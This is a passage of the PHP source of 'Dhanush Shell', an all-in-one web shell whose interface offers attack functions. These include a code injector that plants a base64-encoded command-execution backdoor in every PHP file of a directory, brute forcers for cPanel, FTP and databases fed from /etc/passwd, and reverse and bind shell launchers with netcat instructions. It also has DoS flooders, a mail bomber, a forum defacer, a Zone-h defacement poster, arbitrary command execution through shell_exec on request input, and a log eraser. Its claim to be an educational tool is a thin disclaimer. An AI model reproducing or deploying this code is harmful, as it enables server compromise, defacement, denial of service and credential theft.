3104 </tr>
3105
3106 <tr>
3107 <td style="width:20%;">Subject</td>
3108 <td style="width:80%;"><input type="text" class="box" name="subject" value="Dhanush Here!!" onFocus="if(this.value == 'Dhanush Here!!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!!';" /></td>
3109 </tr>
3110
3111
3112 <tr>
3113 <td colspan="2">
3114 <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!!</textarea>
3115 </td>
3116 </tr>
3117
3118
3119 <tr>
3120 <td rowspan="2">
3121 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('massmailing',to.value,subject.value,message.value,from.value)" class="but" value=" Send! "/>
3122 </td>
3123 </tr>
3124 </table>
3125 </form></div>
3126 <?php
3127}
3128// Get Domains
3129else if(isset($_REQUEST["symlinkserver"]))
3130{
3131 ?>
3132 <center><table><tr>
3133 <td><a href=javascript:void(0) onClick="getdata('domains')"><font class=txt><b>| Get Domains |</b></font></a></td>
3134 <td><a href=javascript:void(0) onClick="getdata('symlink')"><font class=txt><b>| Symlink Server |</b></font></a></td>
3135 <td><a href=javascript:void(0) onClick="getdata('symlinkfile')"><font class=txt><b>| Symlink File |</b></font></a></td>
3136 <td><a href=javascript:void(0) onClick="getdata('script')"><font class=txt><b>| Script Locator |</b></font></a></td>
3137 </tr></table></center><br>
3138 <div id="showdata"></div><?php
3139}
3140// Forum Manager
3141else if(isset($_REQUEST["forum"]))
3142{ ?>
3143 <center><table><tr><td><a href=# onClick="getdata('defaceforum')"><font class=txt size="4">| Forum Defacer |</font></a></td>
3144 <td><a href=# onClick="getdata('passwordchange')"><font class=txt size="4">| Forum Password Changer |</font></a></td>
3145 </tr></table></center><br><div id="showdata"></div>
3146 <?php
3147}
3148// Sec info
3149else if(isset($_GET['secinfo']))
3150{ ?><div id=showdata></div>
3151<center><div id="showmydata"></div>
3152</center>
3153<br><center><font color =red size=5>Server security information</font><br><br></center>
3154 <table style="width:100%;border-color:#333333;" border="1">
3155 <tr>
3156 <td style="width:7%;">Curl</td>
3157 <td style="width:7%;">Oracle</td>
3158 <td style="width:7%;">MySQL</td>
3159 <td style="width:7%;">MSSQL</td>
3160 <td style="width:7%;">PostgreSQL</td>
3161 <td style="width:12%;">Open Base Directory</td>
3162 <td style="width:10%;">Safe_Exec_Dir</td>
3163 <td style="width:7%;">PHP Version</td>
3164 <td style="width:7%;">Magic Quotes</td>
3165 <td style="width:7%;">Server Admin</td>
3166 </tr>
3167 <tr>
3168 <td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
3169 <td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
3170 <td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
3171 <td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
3172 <td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
3173 <td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
3174 <td style="width:10%;"><font class="txt"><?php if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font >NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} ?></font></td>
3175 <td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
3176 <td style="width:7%;"><font class="txt"><?php magic_quote(); ?></font></td>
3177 <td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
3178 </tr>
3179</table><br> <?php
3180 mysecinfo();
3181}
3182// Code Injector
3183
3184else if(isset($_GET['injector']))
3185{
3186 ?>
3187 <form method='POST'>
3188 <table id="margins">
3189 <tr>
3190 <td width="100" class="title">
3191 Directory
3192 </td>
3193 <td>
3194 <input class="box" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
3195 </td>
3196
3197 </tr>
3198 <tr>
3199 <td class="title">
3200 Mode
3201 </td>
3202 <td>
3203 <select style="width: 400px;" name="mode" class="box">
3204 <option value="Apender">Apender</option>
3205 <option value="Overwriter">Overwriter</option>
3206 </select>
3207 </td>
3208 </tr>
3209 <tr>
3210 <td class="title">
3211 File Type
3212 </td>
3213 <td>
3214 <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
3215 </td>
3216 </tr>
3217 <tr>
3218 <td>Create A backdoor by injecting this code in every php file of current directory</td>
3219 </tr>
3220
3221 <tr>
3222 <td colspan="2">
3223 <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+"); ?></textarea>
3224 </td>
3225 </tr>
3226 <tr>
3227 <td rowspan="2">
3228 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="codeinjector(pathtomass.value,mode.value,filetype.value,injectthis.value)" class="but" value="Inject "/>
3229 </td>
3230 </tr>
3231 </form>
3232 </table><div id="showinject"</div>
3233 <?php
3234}
3235// Bypass
3236else if(isset($_GET["bypass"]))
3237{
3238 ?><center><div id="showbyp"></div></center>
3239 <table cellpadding="7" align="center" border="3" style="width:70%;border-color:#333333;">
3240 <tr>
3241 <td align="center" colspan="2"><font color="#FF0000" size="3">Safe mode bypass</font></td>
3242 </tr>
3243 <tr>
3244 <td align="center">
3245 <p>Using copy() function</p>
3246 <form onSubmit="bypassfun('copy',copy.value);return false;">
3247 <input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('copy',copy.value)" value="bypass" class="but">
3248 </form>
3249 </td>
3250 <td align="center">
3251 <p>Using imap() function</p>
3252 <form onSubmit="bypassfun('imap',imap.value);return false;">
3253 <input type="text" name="imap" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('imap',imap.value)" value="bypass" class="but">
3254 </form>
3255 </td>
3256 </tr>
3257
3258 <tr>
3259 <td align="center">
3260 <p>Using sql() function</p>
3261 <form onSubmit="bypassfun('sql',sql.value);return false;">
3262 <input type="text" name="sql" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('sql',sql.value)" value="bypass" class="but">
3263 </form>
3264 </td>
3265 <td align="center">
3266 <p>Using Curl() function</p>
3267 <form onSubmit="bypassfun('curl',curl.value);return false;">
3268 <input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('curl',curl.value)" value="bypass" class="but">
3269 </form>
3270 </td>
3271 </tr>
3272
3273 <tr>
3274 <td align="center">
3275 <p>Bypass using include()</p>
3276 <form onSubmit="bypassfun('include',include.value);return false;">
3277 <input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('include',include.value)" value="bypass" class="but">
3278 </form>
3279 </td>
3280 <td align="center">
3281 <p>Using id() function</p>
3282 <form onSubmit="bypassfun('id',id.value);return false;">
3283 <input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('id',id.value)" value="bypass" class="but">
3284 </form>
3285 </td>
3286 </tr>
3287
3288 <tr>
3289 <td align="center">
3290 <p>Using tempnam() function</p>
3291 <form onSubmit="bypassfun('tempnam',tempname.value);return false;">
3292 <input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('tempnam',tempname.value)" value="bypass" class="but">
3293 </form>
3294 </td>
3295 <td align="center">
3296 <p>Using symlink() function</p>
3297 <form onSubmit="bypassfun('symlnk',sym.value);return false;">
3298 <input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('symlnk',sym.value)" value="bypass" class="but">
3299 </form>
3300 </td>
3301 </tr>
3302 <tr>
3303 <td colspan=2 align="center">
3304 <p>Using Bypass function</p>
3305 <form onSubmit="bypassfun('newtype',newtype.value,optiontype.value);return false;">
3306 <input type="text" name="newtype" value="/etc/passwd" class="sbox">
3307 <select id="optiontype" class=sbox>
3308 <option value="tac">tac</option>
3309 <option value="more">more</option>
3310 <option value="less">less</option>
3311 <option value="rev">rev</option>
3312 <option value="xxd">xxd</option>
3313 </select>
3314 <input type="button" OnClick="bypassfun('newtype',newtype.value,optiontype.value)" value="bypass" class="but">
3315 </form>
3316 </td>
3317 </tr>
3318 </table>
3319 </form>
3320 <?php
3321}
3322//fuzzer
3323else if(isset($_GET['fuzz']))
3324{
3325 ?>
3326 <form method="GET">
3327 <table id="margins">
3328 <tr>
3329 <td width="400" class="title">
3330 IP
3331 </td>
3332 <td>
3333 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
3334 </td>
3335 </tr>
3336
3337 <tr>
3338 <td class="title">
3339 Port
3340 </td>
3341 <td>
3342 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
3343 </td>
3344 </tr>
3345
3346 <tr>
3347 <td class="title">
3348 Timeout
3349 </td>
3350 <td>
3351 <input type="text" class="box" name="time" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';"/>
3352 </td>
3353 </tr>
3354
3355
3356 <tr>
3357 <td class="title">
3358 No of times
3359 </td>
3360 <td>
3361 <input type="text" class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';" />
3362 </td>
3363 </tr>
3364
3365 <tr>
3366 <td class="title">
3367 Message (The message Should be long and it will be multiplied with the value after it)
3368 </td>
3369 <td>
3370 <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onBlur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
3371 </td>
3372 <td>
3373 x
3374 </td>
3375 <td width="20">
3376 <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
3377 </td>
3378 </tr>
3379
3380 <tr>
3381 <td rowspan="2">
3382 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('fuzzer',myip.value,port.value,time.value,times.value,message.value,messageMultiplier.value)" class="but" value=" Submit "/>
3383 </td>
3384 </tr>
3385 </table>
3386 </form><div id="showdos"></div>
3387 <?php
3388}
3389// Zone-h Poster
3390 else if(isset($_GET["zone"]))
3391 {
3392 if(!function_exists('curl_version'))
3393 {
3394 echo "<pre style='margin-top:5px'><center><font >PHP CURL NOT EXIST</font></center></pre>";
3395 }
3396 ?>
3397 <center><font size="4" color="#FF0000">Zone-h Poster</font></center>
3398 <form action="<?php echo $self; ?>" method="post">
3399 <table align="center" cellpadding="5" border="0">
3400 <tr>
3401 <td>
3402 <input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
3403 <tr><td>
3404 <select name="hackmode" class="box">
3405 <option >--------SELECT--------</option>
3406 <option value="1">known vulnerability (i.e. unpatched system)</option>
3407 <option value="2" >undisclosed (new) vulnerability</option>
3408 <option value="3" >configuration / admin. mistake</option>
3409 <option value="4" >brute force attack</option>
3410 <option value="5" >social engineering</option>
3411 <option value="6" >Web Server intrusion</option>
3412 <option value="7" >Web Server external module intrusion</option>
3413 <option value="8" >Mail Server intrusion</option>
3414 <option value="9" >FTP Server intrusion</option>
3415 <option value="10" >SSH Server intrusion</option>
3416 <option value="11" >Telnet Server intrusion</option>
3417 <option value="12" >RPC Server intrusion</option>
3418 <option value="13" >Shares misconfiguration</option>
3419 <option value="14" >Other Server intrusion</option>
3420 <option value="15" >SQL Injection</option>
3421 <option value="16" >URL Poisoning</option>
3422 <option value="17" >File Inclusion</option>
3423 <option value="18" >Other Web Application bug</option>
3424 <option value="19" >Remote administrative panel access bruteforcing</option>
3425 <option value="20" >Remote administrative panel access password guessing</option>
3426 <option value="21" >Remote administrative panel access social engineering</option>
3427 <option value="22" >Attack against administrator(password stealing/sniffing)</option>
3428 <option value="23" >Access credentials through Man In the Middle attack</option>
3429 <option value="24" >Remote service password guessing</option>
3430 <option value="25" >Remote service password bruteforce</option>
3431 <option value="26" >Rerouting after attacking the Firewall</option>
3432 <option value="27" >Rerouting after attacking the Router</option>
3433 <option value="28" >DNS attack through social engineering</option>
3434 <option value="29" >DNS attack through cache poisoning</option>
3435 <option value="30" >Not available</option>
3436 </select>
3437 </td></tr>
3438 <tr><td>
3439 <select name="reason" class="box">
3440 <option >--------SELECT--------</option>
3441 <option value="1" >Heh...just for fun!</option>
3442 <option value="2" >Revenge against that website</option>
3443 <option value="3" >Political reasons</option>
3444 <option value="4" >As a challenge</option>
3445 <option value="5" >I just want to be the best defacer</option>
3446 <option value="6" >Patriotism</option>
3447 <option value="7" >Not available</option>
3448 </select></td></tr>
3449 <tr><td>
3450 <textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
3451 <tr><td>
3452 <input type="button" onClick="zoneh(defacer.value,hackmode.value,reason.value,domain.value)" class="but" value="Send Now !" /></td></tr></table>
3453 </form><div id="showzone"></div>
3454 <?php }
3455//DDos
3456 else if(isset($_GET['dos']))
3457 {
3458 ?>
3459 <form method="GET">
3460 <table id="margins">
3461 <tr>
3462 <td width="400" class="title">
3463 IP
3464 </td>
3465 <td>
3466 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
3467 </td>
3468 </tr>
3469
3470 <tr>
3471 <td class="title">
3472 Port
3473 </td>
3474 <td>
3475 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
3476 </td>
3477 </tr>
3478
3479 <tr>
3480 <td class="title">
3481 Timeout <font >(Time in seconds)</font>
3482 </td>
3483 <td>
3484 <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />
3485 </td>
3486 </tr>
3487 <tr>
3488 <td class="title">
3489 Execution Time <font >(Time in seconds)</font>
3490 </td>
3491 <td>
3492 <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>
3493 </td>
3494 </tr>
3495 <tr>
3496 <td class="title">
3497 No of Bytes per/packet
3498 </td>
3499 <td>
3500 <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>
3501 </td>
3502 </tr>
3503 <tr>
3504 <td rowspan="2">
3505 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('dosser',myip.value,port.value,timeout.value,exTime.value,noOfBytes.value,'null')" class="but" value=" Attack >> "/>
3506 </td>
3507 </tr>
3508 </table>
3509 </form><div id="showdos"></div>
3510 <?php
3511}
3512else if(isset($_GET['mailbomb']))
3513{ ?>
3514 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('bomb')"><font class=txt size="4">| Mail Bomber |</font></a></td>
3515 <td><a href=javascript:void(0) onClick="getdata('mail')"><font class=txt size="4">| Mass Mailer |</font></a></td></tr></table></center><br><div id=showdata></div>
3516<?php
3517}
3518else if(isset($_GET['tools']))
3519 {
3520 ?>
3521 <center><br><form onSubmit="getport(host.value,protocol.value);return false;">
3522 <table cellpadding="5" border="3" style="border-color:#333333; width:50%;">
3523 <tr>
3524 <td colspan="2" align="center"><b><font size='4' color="#FF0000">Port Scanner<br></font></b></td>
3525 </tr>
3526 <tr>
3527 <td align="center">
3528 <input class="sbox" type='text' name='host' value='<?php echo $_SERVER["SERVER_ADDR"]; ?>' >
3529 </td>
3530 <td align="center">
3531 <select class="sbox" name='protocol'>
3532 <option value='tcp'>tcp</option>
3533 <option value='udp'>udp</option>
3534 </select>
3535 </td>
3536 <tr>
3537 <td colspan="2" align="center"><input class="but" type='button' onClick="getport(host.value,protocol.value)" value='Scan Ports'></td>
3538 </tr>
3539 </form>
3540 <tr><td colspan=2><div id="showports"></div>
3541 </td></tr></table>
3542
3543 <br>
3544 <form onSubmit="bruteforce(prototype.value,serverport.value,login.value,dict.value);return false;">
3545 <table cellpadding="5" border="2" style="border-color:#333333; width:50%;">
3546 <tr>
3547 <td colspan="2" align="center"><font size="4">BruteForce</font></td>
3548 </tr>
3549 <tr>
3550 <td>Type : </td>
3551 <td>
3552 <select name="prototype" class="sbox">
3553 <option value="ftp">FTP</option>
3554 <option value="mysql">MYSQL</option>
3555 <option value="postgresql">PostgreSql</option>
3556 </select>
3557 </td>
3558 </tr>
3559 <tr>
3560 <td>Server <b>:</b> Port : </td>
3561 <td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
3562 </tr>
3563 <tr>
3564 <td valign="middle">Brute type : </td>
3565 <td><label><input type=radio name=mytype value="1" checked> /etc/passwd</label><label><input type=checkbox id="reverse" name=reverse value=1 checked> reverse (login -> nigol)</label><hr color="#1B1B1B">
3566 <label><input type=radio name=mytype value="2"> Dictionary</label><br>
3567 Login : <input type="text" name="login" value="root" class="sbox"><br>
3568 Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
3569 </td>
3570 </tr>
3571 <tr>
3572 <td colspan="2" align="center"><input type="button" onClick="bruteforce(prototype.value,serverport.value,login.value,dict.value)" value="Attack >>" class="but"></td>
3573 </tr>
3574 </form><tr><td colspan="2" id="showbrute"></td></tr>
3575 </table>
3576 </center><br>
3577 <?php
3578}
3579else if (isset($_GET["phpc"]))
3580{
3581 ?>
3582 <div id="showresult"></div>
3583 <form name="frm">
3584 <textarea name="code" class="box" cols="120" rows="10">phpinfo();</textarea>
3585 <br /><br />
3586 <input name="submit" value="Execute This COde! " class="but" onClick="execode(code.value)" type="button" />
3587 <label><input type="checkbox" id="intext" name="intext" value="disp"> <font class=txt size="3">Display in Textarea</font></label>
3588 </form>
3589 <?php
3590}
3591else if(isset($_GET["exploit"]))
3592{
3593 if(!isset($_GET["rootexploit"]))
3594 {
3595 ?>
3596 <center>
3597 <form action="<?php echo $self; ?>" method="get" target="_blank">
3598 <input type="hidden" name="exploit">
3599 <table border="1" cellpadding="5" cellspacing="4" style="width:50%;border-color:#333333;">
3600 <tr>
3601 <td style="height:60px;">
3602 <font size="4" class=txt>Select Website</font></td><td>
3603 <p><select id="rootexploit" name="rootexploit" class="box">
3604 <option value="exploit-db">Exploit-db</option>
3605 <option value="packetstormsecurity">Packetstormsecurity</option>
3606 <option value="exploitsearch">Exploitsearch</option>
3607 <option value="shodanhq">Shodanhq</option>
3608 </select></p></td></tr><tr><td colspan="2" align="center" style="height:40px;">
3609 <input type="submit" value="Search" class="but"></td></tr></table>
3610 </form></center><br>
3611
3612 <?php
3613 }
3614 else
3615 {
3616 //exploit search
3617 $Lversion = php_uname(r);
3618 $OSV = php_uname(s);
3619 if(eregi('Linux',$OSV))
3620 {
3621 $Lversion=substr($Lversion,0,6);
3622 if($_GET['rootexploit'] == "exploit-db")
3623 {
3624 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+$Lversion");
3625 }
3626 else if($_GET['rootexploit'] == "packetstormsecurity")
3627 {
3628 header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+$Lversion");
3629 }
3630 else if($_GET['rootexploit'] == "exploitsearch")
3631 {
3632 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
3633 }
3634 else if($_GET['rootexploit'] == "shodanhq")
3635 {
3636 header("Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+$Lversion");
3637 }
3638 }
3639 else
3640 {
3641 $Lversion=substr($Lversion,0,3);
3642 if($_GET['rootexploit'] == "exploit-db")
3643 {
3644 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV+Lversion");
3645 }
3646 else if($_GET['rootexploit'] == "packetstormsecurity")
3647 {
3648 header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=$OSV+Lversion");
3649 }
3650 else if($_GET['rootexploit'] == "exploitsearch")
3651 {
3652 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
3653 }
3654 else if($_GET['rootexploit'] == "shodanhq")
3655 {
3656 header("Location:http://www.shodanhq.com/exploits?q=$OSV+Lversion");
3657 }
3658 }
3659 //End of Exploit search
3660 }
3661}
3662// Connect
3663else if(isset($_REQUEST['connect']))
3664{
3665 ?>
3666 <form action='<?php echo $self; ?>' method='POST' >
3667 <table style="width:50%" align="center" >
3668 <tr>
3669 <th colspan="1" width="50px">Reverse Shell</th>
3670 <th colspan="1" width="50px">Bind Shell</th>
3671 </tr>
3672 <tr>
3673 <td>
3674 <table style="border-spacing: 6px;">
3675 <tr>
3676 <td>IP </td>
3677 <td>
3678 <input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip();?>" />
3679 </td>
3680 </tr>
3681 <tr>
3682 <td>Port </td>
3683 <td><input style="width: 200px;" class="box" name="port" size='5' value="9891"/></td>
3684 </tr>
3685 <tr>
3686 <td style="vertical-align:top;">Use:</td>
3687 <td><select style="width: 95px;" name="lang" class="sbox">
3688 <option value="perl">Perl</option>
3689 <option value="python">Python</option>
3690 <option value="php">PHP</option>
3691 </select>
3692 <input type="submit" style="width: 90px;" class="but" value="Connect!" name="backconnect"/></td>
3693 </tr>
3694 </table> </form>
3695 </td>
3696
3697 <td style="vertical-align:top;">
3698 <form method='post' >
3699 <table style="border-spacing: 6px;">
3700 <tr>
3701 <td>Port</td>
3702 <td>
3703 <input style="width: 200px;" class="box" name="port" value="9891" />
3704 </td>
3705 </tr>
3706 <tr>
3707 <td>Password </td>
3708 <td>
3709 <input style="width: 200px;" class="box" name="passwd" value="Dhanush"/>
3710 </td>
3711 <tr>
3712 <td>Using</td>
3713 <td>
3714 <select style="width: 95px;" name="lang" id="lang" class="sbox">
3715 <option value="perl">Perl</option>
3716 <option value="c">C</option>
3717 </select>
3718 <input style="width: 90px;" class="but" type="submit" name="backdoor" value=" Bind "/></td>
3719 </tr>
3720 </table>
3721 </td>
3722 </form>
3723 </tr>
3724 <tr><td colspan=2><font color="#FF0000">Click "Connect" only after open port for it.Use NetCat, run "nc -l -n -v -p 9891"!<br>Click "Bind", use netcat and give it the command 'nc <?php yourip(); ?> 9891"!</font></td></tr>
3725 </table>
3726
3727 <?php
3728 }
3729
3730else if(isset($_REQUEST['404']))
3731{
3732 ?>
3733 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('404new')"><font class=txt size="4">| Set Your 404 Page |</font></a></td>
3734 <td><a href=javascript:void(0) onClick="getdata('404page')"><font class=txt size="4">| Set Specified 404 Page |</font></a></td>
3735 </tr></table></center><br>
3736 <div id="showdata"></div>
3737 <?php
3738}
3739else if(isset($_GET['about']))
3740 { ?>
3741 <center>
3742 <p><font size=6><u>D h a n u s h</u></font><br>
3743 <font size=5>[--==Coded By Arjun==--]</font>
3744 <div style='font-family: Courier New; font-size: 10px;'><font class=txt ><pre>
3745
3746 - -- -
3747 -- -- --
3748 -- --
3749 --- ---
3750 ------
3751 ----
3752 ----
3753 ------
3754-------
3755--- --
3756 -- ---
3757 -- -----
3758 --- --- ---
3759 --- --- ---
3760-- --------- --
3761-- ------- --
3762 -- ---- --
3763 -- --- --
3764 -- -- --
3765 --- --- -- ---
3766 ------ ------
3767 ---- ----
3768
3769
3770 </pre></font></div></center>
3771 <font class="txt">Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it</font><br><br><center><font size=5>GREETZ To All Indian Hackers</font><br><font size=6>| जय महाकाल | | जय हिन्द |</font></center><br>
3772 <?php }
3773else if(isset($_GET['database']))
3774{ ?>
3775 <form onSubmit="mydatabase(server.value,username.value,password.value);return false;">
3776 <table id="datatable" style="width:90%;" cellpadding="4" align="center">
3777 <tr>
3778 <td colspan="2">Connect To Database</td>
3779 </tr>
3780 <tr>
3781 <td>Server Address :</td>
3782 <td><input type="text" class="box" name="server" value="localhost"></td>
3783 </tr>
3784 <tr>
3785 <td>Username :</td>
3786 <td><input type="text" class="box" name="username" value="root"></td>
3787 </tr>
3788 <tr>
3789 <td>Password:</td>
3790 <td><input type="text" class="box" name="password" value=""></td>
3791 </tr>
3792
3793 <tr>
3794 <td></td>
3795 <td><input type="button" onClick="mydatabase(server.value,username.value,password.value)" value=" Connect " name="executeit" class="but"></td>
3796 </tr>
3797 </table>
3798 </form>
3799 <div id="showsql"></div>
3800<?php
3801}
3802// Cpanel Cracker
3803 else if(isset($_REQUEST['cpanel']))
3804 {
3805 $cpanel_port="2082";
3806 $connect_timeout=5;
3807 ?>
3808 <center>
3809 <form method=post>
3810 <table style="width:50%;border-color:#333333;" border=1 cellpadding=4>
3811 <tr>
3812 <td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
3813 </tr>
3814 <tr>
3815 <td align=center>User names</td><td align=center>Password</td>
3816 </tr>
3817 <tr>
3818 <td align=center><textarea name=username rows=25 cols=22 class=box><?php
3819 if($os != "Windows")
3820 {
3821 if(@file('/etc/passwd'))
3822 {
3823 $users = file('/etc/passwd');
3824 foreach($users as $user)
3825 {
3826 $user = explode(':', $user);
3827 echo $user[0] . "\n";
3828 }
3829 }
3830 else
3831 {
3832 $temp = "";
3833 $val1 = 0;
3834 $val2 = 1000;
3835 for(;$val1 <= $val2;$val1++)
3836 {
3837 $uid = @posix_getpwuid($val1);
3838 if ($uid)
3839 $temp .= join(':',$uid)."\n";
3840 }
3841
3842 $temp = trim($temp);
3843
3844 if($file5 = fopen("test.txt","w"))
3845 {
3846 fputs($file5,$temp);
3847 fclose($file5);
3848
3849 $file = fopen("test.txt", "r");
3850 while(!feof($file))
3851 {
3852 $s = fgets($file);
3853 $matches = array();
3854 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
3855 $matches = str_replace("home/","",$matches[1]);
3856 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
3857 continue;
3858 echo $matches;
3859 }
3860 fclose($file);
3861 }
3862 }
3863 }
3864
3865 ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
3866 </tr>
3867 <tr>
3868 <td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
3869 </tr>
3870 <tr>
3871 <td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
3872 </tr>
3873 <tr>
3874 <td align=center colspan=2><input type="submit" name="cpanelattack" value=" Go " class=but></td>
3875 </tr>
3876 </table>
3877 </form>
3878 </center>
3879 <?php
3880}
3881else if(isset($_REQUEST['malattack']))
3882{
3883 ?><input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
3884 <center><table><tr><td><a href=# onClick="getdata('malware')"><font class=txt size="4">| Malware Attack |</font></a></td>
3885 <td><a href=# onClick="getdata('codeinsert')"><font class=txt size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
3886 <div id="showdata"></div>
3887 <?php
3888}
3889else if(isset($_GET["com"]))
3890{
3891 echo "<br>";
3892 ob_start();
3893 eval("phpinfo();");
3894 $b = ob_get_contents();
3895 ob_end_clean();
3896 $a = strpos($b,"<body>")+6; // yeah baby,, your body is wonderland ;-)
3897 $z = strpos($b,"</body>");
3898 $s_result = "<div class='myphp'>".substr($b,$a,$z-$a)."</div>";
3899 echo $s_result;
3900}
3901else if(isset($_GET['execute']))
3902{
3903 $comm = $_GET['execute'];
3904 chdir($_GET['executepath']);
3905 $check = shell_exec($comm);
3906
3907 echo "<center><textarea id=showexecute cols=120 rows=20 class=box>" . $check . "</textarea></center>";
3908
3909 ?>
3910 <BR><BR><center><form onSubmit="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value);return false;">
3911 <input type="text" class="box" name="execute">
3912 <input type="button" onClick="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value)" value="Execute" class="but"></form></center>
3913 <?php
3914}
3915else if(isset($_GET['mycmd']))
3916{
3917 if($_GET['mycmd']=="logeraser")
3918 {
